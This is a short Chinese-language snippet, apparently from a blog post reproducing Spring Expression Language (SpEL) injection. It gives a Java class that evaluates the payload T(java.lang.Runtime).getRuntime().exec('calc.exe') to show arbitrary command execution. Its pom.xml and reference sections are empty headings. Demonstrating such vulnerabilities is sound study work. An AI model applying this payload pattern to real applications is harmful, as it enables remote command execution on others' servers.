复现代码

  • Pom.xml引入

SpringBoot官方example.

  • Java引入
  1. package springbootsimple.demo;
  2. import org.springframework.expression.Expression;
  3. import org.springframework.expression.ExpressionParser;
  4. import org.springframework.expression.spel.standard.SpelExpressionParser;
  5. public class Run004 {
  6. public static void main(String[] argv){
  7. ExpressionParser parser = new SpelExpressionParser();
  8. Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec('calc.exe').name");
  9. String message = (String) exp.getValue();//getValue()
  10. System.out.println(message);
  11. }
  12. }

参考资料